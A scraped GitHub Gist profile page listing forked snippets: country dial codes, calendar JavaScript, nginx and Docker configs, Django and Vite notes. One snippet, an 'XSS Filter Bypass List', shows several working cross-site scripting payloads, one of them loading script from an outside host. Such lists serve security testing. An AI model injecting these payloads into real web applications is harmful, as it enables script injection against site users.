Skip to content

Instantly share code, notes, and snippets.

View hazho's full-sized avatar
😃
always Busy

Hazho Human hazho

😃
always Busy
  • JavaScript & Python Developer
  • Kuala Lumpur, Malaysia
View GitHub Profile
@hazho
hazho / CountryCodes.json
Created October 5, 2022 17:12 — forked from aibrahim3546/CountryCodes.json
Country and Dial or Phone codes in JSON format
[
{
"name": "Afghanistan",
"dial_code": "+93",
"code": "AF"
},
{
"name": "Aland Islands",
"dial_code": "+358",
"code": "AX"
@hazho
hazho / calendarDates.js
Created October 5, 2022 17:12 — forked from aibrahim3546/calendarDates.js
javascript code to generate calendar. By using this you can create your own customized calendar UI.
const daysInMonth = (iYear, iMonth) => 32 - new Date(iYear, iMonth, 32).getDate()
const months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
const getSelectedMonthDates = (selectedYear, selectedMonth) => {
const calendarDates = []
const firstDay = (new Date(selectedYear, selectedMonth)).getDay() // 0 = 'Sunday', 6 = 'Saturday'
const days = daysInMonth(selectedYear, selectedMonth) // how many days in a month
let x = 0
@hazho
hazho / customCalendar.js
Created October 5, 2022 17:11 — forked from aibrahim3546/customCalendar.js
Gist containing code for creating custom calendar in react using hooks.
import React, { useState, useEffect } from 'react';
import styled from 'styled-components'
const { datesGenerator } = require('dates-generator');
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']
const Container = styled.div`
width: 300px;
border: 1px solid black;
@hazho
hazho / nginx.conf
Created September 27, 2022 16:15 — forked from vijaynallagatla/nginx.conf
NGINX:v1.17.0 With modSecurity:v3.0.0 and Brotli Custom Docker Image for Production
worker_processes auto;
worker_rlimit_core 500M;
events {
accept_mutex off;
worker_connections 1024;
multi_accept on;
use epoll;
}
http {
# MIME
@hazho
hazho / Dockerfile
Created September 27, 2022 16:15 — forked from vijaynallagatla/Dockerfile
Creating Docker Image to include ModSecurity:3.0.0 and Brotli
FROM ubuntu:18.04 as modsecurity-build
LABEL maintainer="Vijay <[email protected]>"
# Install Prereqs
ENV DEBIAN_FRONTEND noninteractive
RUN apt-get update -qq && \
apt install -qq -y --no-install-recommends --no-install-suggests \
ca-certificates \
automake \
autoconf \
@hazho
hazho / xxsfilterbypass.lst
Created July 2, 2022 19:07 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@hazho
hazho / README.md
Created May 21, 2022 12:58 — forked from lucianoratamero/README.md
Using Vite with Django, the simple way

Using Vite with Django, the simple way

This gist has most of the things I've used to develop the frontend using vite inside a monolithic django app.

Here's a boilerplate that uses this approach: https://github.com/labcodes/django-react-boilerplate

A couple of things to note:

  • it runs in SPA mode by default. If you want SSR, you may want to look into django_vite;
  • static files unrelated to your app, like images or fonts, should be served by django, instead of imported directly inside your frontend app;
@hazho
hazho / 0. nginx_setup.sh
Created February 25, 2022 20:58 — forked from mikhailov/0. nginx_setup.sh
NGINX+SPDY with Unicorn. True Zero-Downtime unless migrations. Best practices.
# Nginx+Unicorn best-practices congifuration guide. Heartbleed fixed.
# We use latest stable nginx with fresh **openssl**, **zlib** and **pcre** dependencies.
# Some extra handy modules to use: --with-http_stub_status_module --with-http_gzip_static_module
#
# Deployment structure
#
# SERVER:
# /etc/init.d/nginx (1. nginx)
# /home/app/public_html/app_production/current (Capistrano directory)
#
@hazho
hazho / Basic MultiValueField MultiWidget
Created October 6, 2021 17:26 — forked from nix1947/Basic MultiValueField MultiWidget
Super Basic Django MultiValueField / MutliWidget example
"""
An example of minimum requirements to make MultiValueField-MultiWidget for Django forms.
"""
import pickle
from django.http import HttpResponse
from django import forms
from django.template import Context, Template
from django.views.decorators.csrf import csrf_exempt

Restricting some fields in a model

We would like to be able to add images to events - or tag them with display locations such as "Home Page". But we do not want oridinary Event Planners to be able to do either of those things. Wagtail's admin interface is defined at the class level, so omitting those fields for just a subset of users would be hard to do in the panel definition. Instead we hide those fields during panel instantiation.

First, in the EventPage model, we create a MultiFieldPanel with a specific CSS class name: